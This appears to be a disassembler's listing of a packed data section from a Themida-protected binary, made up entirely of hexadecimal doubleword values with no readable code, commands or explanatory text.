		dd 744A658Bh, 4C4ABA3Fh, 969D9773h, 669CA94h, 46EA2F96h
		dd 8091EF61h, 0C700AFEAh, 507FFC64h, 6EB1D72Eh,	0B7347D41h
		dd 0E3624F47h, 654A4373h, 0BA39E685h, 1BDE4C4Ah, 2170D3EBh
		dd 0DCEF61FFh, 76F52ACBh, 421585EAh, 3DFC21BDh,	4F4768EEh
		dd 0D656E262h, 614D4966h, 37B413BAh, 82012EC7h,	0E3962412h
		dd 8518ABB3h, 88EF61E9h, 0F351DEB7h, 93C99383h,	61E9E930h
		dd 0E78394EFh, 0DE0EB1h, 54EF50B3h, 0EF61E90Dh
		dd 1AF0DFF0h, 0E9288144h, 6233EF61h, 0C724A593h, 6A45B53Bh
		dd 2B5B1B8Bh, 577A4913h, 161086F2h, 74CF6505h, 169C10BCh
		dd 9DC47F41h, 601693ECh, 555E604Fh, 8ACF76D7h, 711693ECh
		dd 39E68FA0h, 0DD4B4BBBh, 6ED5E919h, 10890476h,	85003607h
		dd 1CAD4458h, 2D316115h, 3279262Fh, 0ADE959D4h,	0C5A107D0h
		dd 3BB312F8h, 3A1AB1F0h, 0DD5C5569h, 0A28F7D6Dh, 0DC05C021h
		dd 9F02B9F0h, 0CC15B08Eh, 0AF02B9F0h, 0BAECB19Eh, 0A5ABB198h
		dd 4F4338Fh, 5BDB0000h,	94150AEBh, 63E25124h, 0AB0D22F3h
		dd 65C55A3Bh, 8B20F5h, 0D8BD2D8Dh, 0A174E44Bh, 33C23292h
		dd 660F7FFCh, 8FD2715Dh, 6E169A88h, 0BAB8FADh, 0C84003DBh
		dd 95169C1Fh, 0EB339284h, 941693DFh, 1297B21Dh,	9A9DBD4Bh
		dd 0B4h, 91D8C790h, 81766A57h, 624F31E9h, 57286EDEh, 0F29508B3h
		dd 79671086h, 78C69EB7h, 0F58AFE67h, 27971415h,	29991A17h
		dd 777F4EDh, 83334228h,	0DB886B6h, 1086E0CCh
		db 0AFh
byte_5F156D	db 9Eh,	98h, 8Bh	; DATA XREF: Themida_:00579CD4o
		dd 1489C028h, 0C4E86934h, 0DF9C0AEBh, 64CD8FAFh, 0E42D9808h
		dd 87108627h, 0C382D4B6h, 10862796h, 51625465h,	0F24B8AF2h
		dd 0A22EBE2h, 996A5025h, 0E05C5569h, 0AD9DC47Fh, 4F601086h
		dd 11B48A60h, 1086ADACh, 78E8446Dh, 54C4253Eh, 1E2F8F7Bh
		dd 52709D18h, 11781087h, 0E313B09Eh, 524568DBh,	0D7E81086h
		dd 0F1421C3Eh, 5D842191h, 20108652h, 1E3F5B0Fh,	5B000001h
		dd 70E0624Fh, 3060209Ah, 0F227972Eh, 6FC4169Bh,	0A7989E0Eh
		dd 55C1A890h, 0CFE27E7h, 869B9BACh, 7AE4B121h, 8FB8E164h
		dd 56431693h, 5E2F67D7h, 5E1F9971h, 0A023102Eh,	0DA045A30h
		dd 3E757D9h, 938F7D98h,	5C09E16h, 16938FDCh, 8F43863Dh
		dd 192A1693h, 0C60C9EA7h, 7E32E79Dh, 3405B951h,	3D598302h
		dd 278B1693h, 6F967FB7h, 55E40E90h, 44B4367Dh, 0CFFEB752h
		dd 93A0B614h, 6F2AC030h, 91A40940h, 922C9DBDh, 0
		dd 4DA0AABh, 86F21841h,	35B6E310h, 0DFD747A9h, 0F8D5C1EEh
		dd 0DFFDDFD7h, 86F23D64h, 6ED3C010h, 0F839D1FEh, 7D481677h
		dd 1086F254h, 7A9F0617h, 11086F2h, 30761F30h, 5D7F5F8Fh
		dd 8367D754h, 86F24518h, 0D0716610h, 0EDC1FBCFh, 85960AE0h
		dd 0AC8ACB91h, 41E83D21h, 0A1980A3Bh, 0AC83EFE0h, 0CABEDFBEh
		dd 52B01087h, 3BBFB4E2h, 51D6CBCBh, 6A55C4E1h, 0F2DD4C79h
		dd 536B9B5Ch, 25EBB82h,	0B7381E5Dh, 0BC826847h,	87597409h
		dd 4F26F710h, 57C724E9h, 58C82A87h, 8B89615Eh, 0D0A51596h
		dd 4EF516EAh, 1086F20Bh, 745229F2h, 0D24FD3F9h,	0CB0CD2FDh
		dd 8A62254Bh, 720C2B50h, 0F1CB13FFh, 7BE806Ah, 169B46D3h
		dd 268D899Ah, 169334E7h, 3590CE90h, 169334ECh, 0E5CCBE8Fh
		dd 35BBF8FAh, 0EFCD1C5h, 0BDE41A9Fh, 65A29Dh, 0AB760000h
		dd 0C838BF0Bh, 0B7E6F1CEh, 6D5236CBh, 0E4FAC4EBh, 0B9FD6DCFh
		dd 7058F3C4h, 34686D7Fh, 61CB6756h, 0A172169Bh,	2B8AA775h
		dd 83AC1C9Fh, 6591BCE7h, 61C71693h, 50ACC5F1h, 0E151B3E0h
		dd 0F6E950B5h, 3A773DEDh, 714E48B8h, 65B3D66Dh,	693A1693h
		dd 4BA71681h, 751585E6h, 0BDB0B336h, 0C3399Dh, 244D0000h
		dd 525F57C7h, 9D9680F0h, 0A390AE1Eh, 765AE1Eh, 2839F397h
		dd 4DBD3FCBh, 4373E346h, 7C59654Ah, 0C42D9D78h,	0E0AB5FECh
		dd 862D98E5h, 0BD2D8E10h, 78E84BD8h, 0DC0CAC3Eh, 2BFB4302h
		dd 1B18169Bh, 5E422898h, 3E02A84Dh, 4D95300Eh, 30108B7Ch
		dd 25118103h, 0F73FAF0Ch, 38062906h, 84EB77FBh,	0F05A3B14h
		dd 7E3257EEh, 0E8B91CABh, 41B11102h, 0C30E84BCh, 6DD5DFB1h
		dd 196h, 0A84DBD39h, 0EF86F67Bh, 0C055C540h, 0F89D0D73h
		dd 0BE57C72Bh, 8BEFA2E9h, 42A57A1Bh, 90EC43D2h,	5DDE5520h
		dd 8FBF08EDh, 9A8CED34h, 2D0F9016h, 0BF56C624h,	0D2A31370h
		dd 6174F88h, 0ABDE12B6h, 0F3970768h, 0DB0BAB3Fh, 0F5F04003h
		dd 0BC8D169Bh, 0F1D2FB7Ah, 999B1693h, 0BDAD1D98h, 0D507EBD2h
		dd 93F12B6Eh, 29C1D216h, 0BD1CFF6Ah, 0A9859Dh, 92C30000h
		dd 0E7285781h, 0E84C3EB6h, 5F57C724h, 364F052h,	2E8EA393h
		dd 0A88778BEh, 9D99096Bh, 2C878FA0h, 1086F7C1h,	11E454D7h
		dd 531A122h, 0CB93C373h, 9BF134F8h, 8D683916h, 1529591Dh
		dd 8B9185AEh, 0DBE3B410h, 0E252B001h, 422069DCh, 0FACB1CAAh
		dd 2F9F2310h, 0E959D946h, 0C3E9D614h, 1FA391B1h, 0BEh
		dd 0B045B511h, 0E78EFE83h, 0A84DBD38h, 0F085F57Bh, 0A64FBF43h
		dd 0A307BAF1h, 6ACD6233h, 0A8041BFAh, 65C65D38h, 0A7B720F5h
		dd 9A8CF51Ch, 45F77816h, 8856C624h, 6155C52Bh, 507FEF50h
		dd 0E744DBBAh, 4F9A9E77h, 0F293B68Dh, 4DF81086h, 1086F204h
		dd 596AD6E7h, 0DF61CE7Eh, 5E0C8F95h, 0D8DE4EADh, 1DF868CBh
		dd 0A5B9E98Dh, 1CAD9EB7h, 0A9D9B3Ch, 803ECFAFh,	5436195Bh
		dd 0A3025F69h, 0B3377C16h, 26F7A743h, 108003F0h, 57D8D985h
		dd 0A50603E7h, 7F820135h, 0EE544113h, 0C6F5887h, 0C92AF99Ch
		dd 0E4445D59h, 0EC496A74h, 0A5A08E7Ch, 7DFEC9F4h, 38BB680Dh
		dd 366CEC8h, 42000000h,	0CA244B2Fh, 0E4475C5Ah,	0D3314274h
		dd 0B93E3363h, 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h
		dd 0EA4F6452h, 68783C7Ah, 0B18h, 53242C89h, 0C381E389h
		dd 4, 8704EB83h, 895C241Ch, 8957243Ch, 4C781E7h, 81000000h
		dd 4EFh, 243C8700h, 242C895Ch, 1C727168h, 243C8B06h, 4C481h
		dd 0B6680000h, 8900007Bh, 4832424h, 525D0424h, 24048157h
		dd 14E239C4h, 0C4EA815Ah, 8914E239h, 0FF5A0855h, 815D2434h
		dd 4C4h, 243C8B00h, 5E08950h, 4, 8704C083h, 0E95C2404h
		dd 0FFF8FE02h, 34CAE0D2h, 3A693830h, 0E412EB5Bh, 7FD0B8E4h
		dd 0C503061Ch, 10BAE0FFh, 547308ADh, 0E2503FE2h, 153C2E33h
		dd 0AEC306E5h, 2F8D1F77h, 8949505Ah, 85F1216Bh,	6A0667E0h
		dd 48F5E09h, 85034296h,	8AE84B01h, 97661B6Fh, 0D07B6FE5h
		dd 498338CEh, 876575A2h, 521A0E7Ah, 0DC9B4BC1h,	0BE84CE2h
		dd 3F000000h, 4696EE60h, 506A61BDh, 8C0F15ADh, 3, 58D2BF0Fh
		dd 8820Fh, 8D0F0000h, 2, 0C0816160h, 5B1Bh, 68F9B70Fh
		dd 16A2h, 4880Fh, 0BB660000h, 8B5E23C9h, 0B70F6008h, 6150B0D1h
		dd 27D4E981h, 8B6648E7h, 1AC181D0h, 80417F2Fh, 0E981D5C3h
		dd 1CA55314h, 7DBF51F5h, 8F1A58EBh, 810F00h, 83000000h
		dd 8B6603E8h, 13E948FAh, 0B000000h, 6391A30Ch, 4CD21D2Fh
		dd 6CA23863h, 0C80BDA87h, 0EE8309D2h, 0A8850F01h, 0FFFFFFFh
		dd 16E9D3B7h, 0C4000000h, 16359Eh, 4 dup(0)
		dd 551E900h, 2F8F0000h,	0E849D6BFh, 27869D78h, 0EF51DEB7h
		dd 2989967Fh, 0CCBFDCB9h, 740171D1h, 2DC838BFh,	6F0676F6h
		dd 42D343C0h, 0D3F6CD91h, 9A169A73h, 0C72463D9h, 0D5EAD65Fh
		dd 80AF9314h, 0AD1D9D96h, 68D85BC8h, 46B6352Eh,	6EDE6350h
		dd 1D6B828h, 0B32B8D80h, 54291A31h, 0BADA7BC0h,	13BAF595h
		dd 0D2CF37B4h, 65F8F16Dh, 1221F4DBh, 7CB342B2h,	8DA69000h
		dd 0AB1B9E2Ah, 2B39284h, 2090ECDBh, 0ED5DDE55h,	11380BD1h
		dd 0DC10867Ah, 27F51FCBh, 5238A80Ah, 867A2B73h,	4DBD3D10h
		dd 67D75849h, 53C3422Fh, 7C6756DDh, 4405B841h, 97A8A1B9h
		dd 8D3Fh, 0C7245B00h, 0EE558757h, 1086F2ABh, 0DB76F0E9h
		dd 0AB6712Fh, 575FA39h,	0E04E3C11h, 868C3E65h, 14BB3A10h
		dd 0A897C835h, 0D1746A97h, 10868088h, 0B6268673h, 97A08F80h
		dd 5F9174F2h, 2814F64Ch, 1, 55C52404h, 0A9F05389h, 0EB1086F2h
		dd 9290DB39h, 0A08D3336h, 0EA80AF1Fh, 42B2372Ch, 78D95F54h
		dd 48BADF66h, 70411086h, 86488CD5h, 805E6F10h, 86489CC5h
		dd 614E5F10h, 8B32B935h, 714DBD3Ch, 0B951C140h,	76E645DAh
		dd 0C624999Fh, 0EE536056h, 4670E062h, 5B586649h, 8A8466D6h
		dd 0D2716BEFh, 1086F28Fh, 0D6565D6Eh, 0AB5F3066h, 8CEED904h
		dd 93F1421Ch, 1B34A407h, 2D48221Bh, 4AB21021h, 201BEDF2h
		dd 0FA90BF35h, 4C4ABA39h, 0EB4AD657h, 7C423B7Bh, 86A080C9h
		dd 755A6B10h, 0E7F5C741h, 86A0355Ch, 3E7B810h, 0F528218Ch
		dd 3B97A86Dh, 0A0h, 56C6244Fh, 0B4357E60h, 0F2A9F053h
		dd 43541086h, 89552A6Ch, 86F297BAh, 0A5455610h,	9D990964h
		dd 80B62684h, 75A11173h, 0EFF4DBD2h, 0DF13BA21h, 86E773D2h
		dd 0FD3916h, 0D949A96Ah, 0E151AC05h, 35B56A09h,	60E0D1C5h
		dd 64C5EEF0h, 1DCDC2F4h, 0AF1E99EFh, 0A81C3F9Ah, 66A597h
		dd 8EA30000h, 28AAC72Fh, 0C1EE2209h, 33D7A8EEh,	0B68D4FFFh
		dd 1086F293h, 70A1495Ah, 0C29CA212h, 86F2DE03h,	41883B10h
		dd 2C1086F2h, 0C394A51Bh, 8C96B217h, 0C745251Dh, 0ACEA5ADAh
		dd 0D8EFDE4Bh, 1D0BEA5Ah, 6155C524h, 86F2BAE2h,	8E41B810h
		dd 0A81A2EBBh, 0EB697h,	0BFF40000h, 51F4CA3Ah, 1086FE08h
		dd 0D44822F3h, 8461C924h, 0AC5F275Eh, 0F060DDD6h, 0D8E6C9C6h
		dd 0B1E555DBh, 0F3002EDCh, 0FF62090h, 359037A6h, 0B68A30C5h
		dd 0F87BB886h, 979F0F6Ch, 0BF8D89A6h, 86EBDD04h, 0A08FA010h
		dd 75D174CAh, 8169BE5h,	204C813Fh, 54B0F129h, 0B2E4CBE4h
		dd 43D242C1h, 171F8FECh, 933C779Ch, 218CFD16h, 61E445A6h
		dd 16933C38h, 42C1F2C3h, 0B18FDD2h, 0E5FE38A8h,	69201686h
		dd 0E94A7D30h, 0A4099C79h, 2C9DBDE8h, 11Bh, 0DB0BAB00h
		dd 56FCD903h, 2A2457ABh, 84F4CFBBh, 39169B21h, 0B6352E68h
		dd 380AF46h, 2D8EA393h,	7CBE79BDh, 5046B637h, 0B9248B7Fh
		dd 213DAD0Eh, 0AA40B010h, 0F553D6CBh, 53D99DBDh, 0AD000000h
		dd 56ED0EABh, 1086F233h, 0F8C6E9BAh, 86F2244Dh,	0C0F6C790h
		dd 86F21C45h, 7F5D5F90h, 86F29DC4h, 9B4F6090h, 0B485C9F4h
		dd 0E60BBA84h, 851086F2h, 2B89AAB4h, 39B89CBBh,	0C3E3782Dh
		dd 98684C27h, 66000000h, 3B7BEB4Dh, 3B777542h, 2B569256h
		dd 0BABDB3Fh, 0D8D903DBh, 0D5AAEC5Ch, 1E959DEh,	9C0616A2h
		dd 20162716h, 0B540B013h, 0C910B3A9h, 0B41693E6h, 0A90A07E3h
		dd 5476FD39h, 1C1693E6h, 2685426Dh, 99A5159Ah, 93E4E72Ah
		dd 9AB58616h, 9D0D6FC4h, 0A7C6A499h, 2F0F3FFFh,	0B665F994h
		dd 6BAB7C10h, 9185F576h, 16DC03B2h, 5F753841h, 522B6BDBh
		dd 830AD85h, 58883862h,	0F2EBF86h, 0ABAD1A92h, 0CB0FF118h
		dd 288F7C02h, 0AE817EB8h, 0FEC3590h, 0BE8F02CBh, 4F380491h
		dd 0F293B68Dh, 70CD1086h, 87391600h, 89A6169Ah,	0D707B7E1h
		dd 73A13C07h, 132416A3h, 3DAD0E23h, 0F868CB58h,	8A9337BEh
		dd 6ACD26ACh, 44A7BCFAh, 6E27E2D4h, 0C910B33Fh,	0B406C368h
		dd 0DD44CCE3h, 0EE56D5F2h, 8B6A455Bh, 60351A7Eh, 88E470D3h
		dd 0F2FF3718h, 1D181E8Eh, 2586416Ch, 0F053E0B5h, 32E9680h
		dd 0A000000h, 0CA244B2Fh, 0E4475C5Ah, 0D3314274h, 0B93E3363h
		dd 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h, 0EA4F6452h
		dd 57783C7Ah, 0BE56E789h, 6BEB01F9h, 5040CE81h,	0F681732Ah
		dd 1D6720C6h, 3AEE814Eh, 1668C71h, 0EF835EF7h, 243C8704h
		dd 4EC835Ch, 68240489h,	531Dh, 52241489h, 0B53929BAh, 0B9514213h
		dd 2B1F275Ah, 0AD0C181h, 0F18139BEh, 54B173Bh, 4A59CA01h
		dd 52F2814Ah, 897357DFh, 0EC835AD0h, 24248904h,	4240483h
		dd 0B951505Ah, 68764B6Bh, 4244C29h, 8428F59h, 6B084281h
		dd 8B68764Bh, 89532414h, 4C381E3h, 83000000h, 1C8704C3h
		dd 48B5C24h, 0E6895624h, 4C681h, 0C6810000h, 4,	5C243487h
		dd 0F8F7A1E9h, 85E3F9FFh, 0A18C1FB6h, 0B8C4838Ch, 61C8608h
		dd 0E0FFC503h, 0E8FEF64h, 7F23BDEh, 0C9EFBE8h, 0FAC4ABBh
		dd 5608109Ah, 2B498740h, 24FD04h, 87D4085h, 1DF6A901h
		dd 35A7D945h, 747A3BD3h, 21B19C4Eh, 57A36605h, 5A242A02h
		dd 60550AF5h, 58B812EAh, 6FEECC7Bh, 6DC8BD77h, 5F65B789h
		dd 1F37E8DCh, 11BA4508h, 8415203h, 4991D1B3h, 4BAD2A0h
		dd 482C647Dh, 657722B2h, 1150D7D8h, 1D1778B9h, 3EF23DF9h
		dd 4E260581h, 51279F83h, 0ECE9h, 0
		dd 81063700h, 81CE037Ch, 80C0587Ch, 9010057Ch, 9010ED7Ch
		dd 0F200007Ch, 276h, 5 dup(0)
		dd 80ADA000h, 7Ch, 2Bh dup(0)
		dd 600h, 39E71400h, 7F2D0C16h, 0A8334978h, 5F0CC31Ch, 0FC3BAC33h
		dd 15662234h, 7B651D4h,	0A8E5B419h, 13734CC7h, 966F5732h
		dd 65BC8Fh, 0C128834h, 0D5ED1762h, 1562338Ah, 90E39832h
		dd 98609D21h, 2CCDAAFh,	4EB5DD34h, 0B8DB926Ah, 15609D31h
		dd 46365346h, 1562338Ah, 90E39832h, 98609D21h, 2C1C9AFh
		dd 4EB5DD34h, 7306E86Ah, 940049B9h, 74FAEDEAh, 11ED72CEh
		dd 11A29216h, 156681DBh, 3EED1832h, 0CA8DA4C5h,	0A8E5D9E3h
		dd 137A0F50h, 5CE24B32h, 0ED662232h, 0A8E39CCAh, 1A609409h
		dd 15664AB2h, 156FCB32h, 75E71132h, 0EDE0FAE2h,	0EA4FA50Ah
		dd 1561CBE2h, 57081132h, 12EE9FC5h, 0F8E3C9CAh,	0EC603E09h
		dd 48FC1CDh, 0EB668832h, 0EEDA8AEh, 460072EFh, 0AD4B9EE2h
		dd 0FDE88F9Ch, 1CA3C1F4h, 75302427h, 9E000D81h,	9669E9F5h
		dd 15664433h, 0AD344ACBh, 138F8D9Ah, 63668832h,	0B8CB7CD6h
		dd 4D3DDA2h, 7560041Ah,	98DA1B8Ch, 1568AD1Bh, 45962232h
		dd 191D3801h, 4F2A7381h, 774BAD81h, 156BCB53h, 54031132h
		dd 772BD2FCh, 7C453635h, 985E7E91h, 0D14ADB7h, 0C5997134h
		dd 1577AD52h, 0C0802232h, 80B22E08h, 0E5F9FB45h, 0D7FB1884h
		dd 754F69E0h, 0FDA19A54h, 1566883Ah, 0C1D8F977h, 0A606F8E8h
		dd 9C07706Bh, 4241B7h, 14EE4B34h, 0EC662232h, 0B0394F5h
		dd 15668E27h, 9C694432h, 15662239h, 33869152h, 15660F3Dh
		dd 0D3074432h, 6FE7B7h,	188F5434h, 30668832h, 0C6A715CAh
		dd 7BD85578h, 3E0AD7A4h, 670FE15Ah, 14E74BBCh, 0ED662232h
		dd 3E3A4CDh, 0E0068E27h, 98074682h, 5D1AB7h, 94007134h
		dd 940432DBh, 5447CDF2h, 0C5994328h, 156E9E3Dh,	90698832h
		dd 15664430h, 9E694352h, 15661133h, 28E301C7h, 7560511Bh
		dd 5AD39854h, 1565993Dh, 9E008832h, 90A025E4h, 13732BF7h
		dd 19E71E71h, 0FC668832h, 15664435h, 17BD5688h,	7D233E49h
		dd 8901E36Ch, 1561C43Dh, 91692232h, 15661133h, 90D377CEh
		dd 1A605124h, 156623B3h, 90EBE932h, 1373B30Ah, 15664EDBh
		dd 263A6E32h, 7BD500C7h, 0EA37FB43h, 90EFBDE2h,	137AA578h
		dd 10E71E52h, 73668832h, 9FA58EB3h, 1560A53Dh, 93691132h
		dd 15668832h, 0D0E38253h, 4160373Bh, 156E9E3Dh,	90698832h
		dd 15664430h, 3C0E4352h, 1A88735Ah, 156686BBh, 156FAD32h
		dd 77462232h, 853D986Eh, 0EADF072Eh, 70C187h, 90EBDB34h
		dd 13732A0Ah, 1570013Dh, 9D694432h, 15662222h, 15661ADBh
		dd 0CF9A9732h, 9C87DC40h, 0A1178B24h, 198FC1CDh, 21668832h
		dd 85EE3E2Dh, 60688AB1h, 9C7D7F8Fh, 9E1C6B7h, 90A0BC34h
		dd 13732BF7h, 9E007177h, 7D0771F3h, 0CF067CF0h,	15662FDBh
		dd 0A0B75332h, 89037D2Dh, 0C255924Fh, 0A0998938h, 137307B7h
		dd 157261CBh, 0B2FD4432h, 6C801A25h, 0B7A065C5h, 0C59B9C88h
		dd 9279F3BBh, 90EB0BA5h, 13732A0Ah, 156683DBh, 53B92E32h
		dd 3EC53C56h, 0F55D241Dh, 0F2E7EE52h, 0EA0785B1h, 90EFDAE2h
		dd 137A9660h, 15668EDBh, 0C6484932h, 96B02FDBh,	4BA48Fh
		dd 90698834h, 15664503h, 1577CBCEh, 68031132h, 0A9861C57h
		dd 2642BD10h, 9080EE8Fh, 0D3DE64A9h, 6F4DB7h, 75060134h
		dd 759D953Dh, 94007053h, 742AB0D2h, 3518C25Ah, 156BCBC8h
		dd 71221132h, 73D03206h, 37481EDBh, 0EA44EF31h,	709487h
		dd 17E18734h, 75664432h, 2E72D53h, 75661132h, 156687DAh
		dd 9C571832h, 0FCDD8FF4h, 0E29005B7h, 0C25E96D9h, 90EB2568h
		dd 1373190Ah, 1561973Dh, 96698832h, 15664433h, 0FCB6DDCEh
		dd 15661139h, 0C3EF29E1h, 494475D5h, 0FC9CC07Bh, 15661139h
		dd 0C02184DDh, 4167D653h, 9C832EC7h, 9E147B7h, 90A07134h
		dd 13734DF7h, 9669427Eh, 15661133h, 157261CEh, 42394432h
		dd 0A0A45CFAh, 3D3B6BF0h, 13D6C834h, 0CDFCA72Ah, 7D07E8A3h
		dd 0F540C1F1h, 15760D3Dh, 1E8F4432h, 78662232h,	1BBB5040h
		dd 85D20962h, 0A099A22Dh, 137334B7h, 73A79A52h,	378256B3h
		dd 90EBBD53h, 1373190Ah, 15661BDBh, 0DBB9EA32h,	117CA0BAh
		dd 0EA6D9EA5h, 90EFE8E2h, 137A0F68h, 15664DDBh,	0DC9E4F32h
		dd 8F1980B5h, 0FC9F0FCEh, 15664481h, 0D0E3E4CEh, 4760043Bh
		dd 0F16BE0C7h, 9869F878h, 15662233h, 0D3EECAh, 0ED609D22h
		dd 2E5EC1BFh, 0EC062427h, 74ADA63Dh, 450658CDh,	733D2552h
		dd 7421408Bh, 923094BBh, 0E9068E2Eh, 744294B2h,	1CA3A7F4h
		dd 1A341727h, 156689B4h, 5D0EB832h, 75C06E78h, 0EA07CCB8h
		dd 769D87h, 156AAD34h, 60562232h, 80A300FDh, 4D948D4Ch
		dd 90EB8AF4h, 1373190Ah, 17EC1E52h, 47668832h, 3081C56Bh
		dd 740C6DC0h, 1F8FC1CDh, 80668832h, 0CE6F8ABCh,	895B17F3h
		dd 4FE398E7h, 756094B5h, 156655DBh, 0DFBB4732h,	7AA3E25Dh
		dd 9ABD17F6h, 0FE90A4BCh, 0D307571Dh, 6FD4B7h, 68FDA34h
		dd 79664432h, 0F720A701h, 0D1A62913h, 833BF87Ch, 0F4643D59h
		dd 0FF0ED0A1h, 0E99B5386h, 90D377CEh, 0E9605124h, 2E5EA7BFh
		dd 0EA9A1727h, 90EF74E2h, 13736A0Bh, 0F3E77352h, 56A7FA54h
		dd 0E7E7EE6Bh, 75075485h, 44A19D3Dh, 743E7052h,	1CA30DF4h
		dd 1A114227h, 156623B7h, 0B60EE932h, 1A951F9Ah,	156651B6h
		dd 1576CB32h, 23171132h, 0E575FD2Eh, 98B9B3A8h,	4E84529Fh
		dd 0A0998981h, 13738FBBh, 2DE3C9CBh, 1A603709h,	156606BDh
		dd 15746132h, 215B4432h, 5826BB2Fh, 0CD69FD52h,	68082FDEh
		dd 95957852h, 6888A352h, 0FC76752Dh, 15668838h,	9797C9E9h
		dd 9C0DA445h, 0EA07307Ah, 2EF87E2h, 0FC664432h,	15662220h
		dd 0C27FADFFh, 0D1CB11D2h, 7B843157h, 0CA735DE0h, 90EFDEE9h
		dd 1373BBB7h, 0CCB5C452h, 3A84A354h, 90A070DFh,	137381F7h
		dd 99692460h, 15662234h, 15669A3Dh, 48F8832h, 3A664432h
		dd 0F578C18Eh, 0EE2A5B94h, 87A9A805h, 5B7D827Dh, 24714A53h
		dd 97699BEFh, 15668837h, 0C2D14B52h, 90D3DD53h,	75600424h
		dd 95A5373Dh, 9807C5E7h, 5D1AB7h, 0EA9EED34h, 9C9370E2h
		dd 65DDB7h, 0FE42D34h, 75661132h, 157461C7h, 0ED914432h
		dd 0A629E721h, 0C19FE37Eh, 86CE460Dh, 0B7B5BDF9h, 0D0E3E453h
		dd 4360043Bh, 785FE0CEh, 9C69902Dh, 15662233h, 4D3EECBh
		dd 75609D1Ah, 156656DAh, 0A4D8B232h, 8DC347B6h,	9DC9B958h
		dd 4B7F91BDh, 4CBDAF47h, 0CBB49054h, 9A69E969h,	1566443Bh
		dd 5B95A252h, 8148AB54h, 0A9E30553h, 0E0605C40h, 1C8FF2CDh
		dd 0E6661132h, 807EF0AAh, 6AF04D61h, 1337A7BBh,	99691727h
		dd 15668833h, 1568ADCAh, 0A2EB2232h, 906BCFF1h,	0D90C9D82h
		dd 2C0D9297h, 1CA3A7F4h, 0FC211727h, 15668835h,	0EAEAE22h
		dd 7D1BA74Ah, 94BA0148h, 90D377C7h, 75605124h, 1AB6A954h
		dd 9807E885h, 5DB0B7h, 138FB834h, 0B7662232h, 0ADE531E9h
		dd 75B67706h, 6BA4C554h, 11BFA31Dh, 743F17BAh, 3FF30DBBh
		dd 9A694227h, 15662238h, 156614DBh, 4632FF32h, 90A019ECh
		dd 13732BF7h, 1563F875h, 27A98832h, 7D503AE6h, 9F6997D0h
		dd 1567983Dh, 0EA9F8832h, 70C187h, 1EEA2D34h, 0FC661132h
		dd 15668834h, 5C43CF14h, 90EB516Bh, 13732A0Ah, 156F6152h
		dd 7E3C4432h, 0E21C3E1Fh, 0E993DA0Dh, 75B67753h, 1A9FCF54h
		dd 9C07D48Dh, 9E16BB7h,	959FE834h, 0D20744FEh, 74B7B7h
		dd 15666934h
		dd 0A8E57032h, 137355F3h, 13E22D32h, 7566112Bh,	0AE8D0954h
		dd 0CCD14B72h, 0D0E3E453h, 5960043Bh, 749D0352h, 0CF7AAD5Ah
		dd 0A099D7EBh, 137307B7h, 2DE305CAh, 0FC605109h, 15662234h
		dd 0BDA53839h, 0C599C47Ch, 15664ADBh, 57A75C32h, 0B5667FF2h
		dd 8AF24272h, 0FC3742D9h, 1566223Fh, 34ABC193h,	9F3B3443h
		dd 0B05CFFFAh, 73E3AB46h, 0E0600DB5h, 157E013Dh, 68F4432h
		dd 33662232h, 81A7C918h, 0DA08A11Eh, 0F9429042h, 35181461h
		dd 90A0B73Eh, 137381F7h, 0DB0EBD7Eh, 0ECBB56ECh, 157E953Dh
		dd 95698832h, 15664420h, 15662FDBh, 0FCFF032h, 19D25565h
		dd 0EB671828h, 0A0991D9Dh, 137307B7h, 9E00E8C7h, 74A3CEF5h
		dd 2E5EA7BFh, 73061727h, 198E46B9h, 53664432h, 5F8D91CEh
		dd 0C19B212Dh, 0FC04E7E1h, 1566443Ch, 0A871F0C4h, 0BB65847Ah
		dd 21D2CDEAh, 743E4678h, 18FF2CDh, 0A4661132h, 98FADD19h
		dd 6A1E41AEh, 89AAB189h, 3FBAF268h, 9CC892A4h, 9E12EB7h
		dd 156ACB34h, 641E1132h, 0E5E263E7h, 0D3047697h, 90A06742h
		dd 137318F7h, 2A0E7D7Eh, 0FCD1C5B0h, 15662220h,	0E646FA23h
		dd 2F394496h, 0F9132343h, 0EB0067E0h, 0A0991994h, 13739EB7h
		dd 156CCF3Dh, 1A062232h, 156611B0h, 7407E832h, 2E5EC1BFh
		dd 0EA932427h, 1A3771E2h, 156688BDh, 9C071F32h,	9E14CB7h
		dd 18E7134h, 1668832h, 82A444F2h, 0C0D1ADC8h, 976B4CA3h
		dd 0E1542749h, 9ED1B3D0h, 0AB0078C1h, 0D3075E52h, 6F4DB7h
		dd 78F0834h, 6A662232h,	0AF497B44h, 0E6E8E82Dh,	8D41E908h
		dd 0C5E1704Eh, 557E79C1h, 9B693B1Dh, 15664420h,	15662FDBh
		dd 33F58432h, 880D6237h, 0ECEA7335h, 0A099F76Ch, 137307B7h
		dd 15670D3Dh, 989A4432h, 5D1AB7h, 19E91E34h, 0FC668832h
		dd 15664435h, 60435D10h, 0EA2FD690h, 198FE8E2h,	57664432h
		dd 2B526AB4h, 0E47468Ch, 0ED043151h, 7BE3CD53h,	1A603EB5h
		dd 156610B5h, 90A07432h, 13734DF7h, 9E934274h, 10E70E2h
		dd 0FCDC5634h, 15664434h, 0B27ED8C4h, 0A099D0F8h, 13739EB7h
		dd 156649DBh, 0A7BAE932h, 8E220C73h, 47D3DA58h,	90EB1094h
		dd 1373190Ah, 9E69E952h, 15668837h, 0A497888Ch,	0C5994375h
		dd 156601DBh, 9731C132h, 0D7293DFh, 9E7B7C83h, 529E1A18h
		dd 63E301C3h, 1A6058B5h, 156623BDh, 90A0E432h, 137381F7h
		dd 6F0EBC75h, 0EDE7FE22h, 15661CDBh, 282EB32h, 0A622317Dh
		dd 0E05B06A1h, 0A0995949h, 13739EB7h, 156643DBh, 0B8EC3232h
		dd 0CCD37285h, 2E5E0DBFh, 98694227h, 1566223Eh,	15609C3Dh
		dd 9C698832h, 15664432h, 9C93F2CDh, 9E16FB7h, 19E98734h
		dd 1A664432h, 156624B6h, 15EF1E32h, 0D3668832h,	6F81B7h
		dd 9C696534h, 15661133h, 9BCAE0C7h, 188FABB5h, 72662232h
		dd 6B7055F0h, 0FAFE9832h, 3D2BDCFCh, 3E397CDh, 0AC061727h
		dd 3ECB7469h, 2DE3C953h, 1A603709h, 156610BCh, 0EA9A7132h
		dd 90EFB1E2h, 137AA5B0h, 0D0E3D7CAh, 52609D3Bh,	0B2B42CCEh
		dd 0AD06F6A8h, 59B39351h, 0E9643754h, 90D3BB53h, 0FC603724h
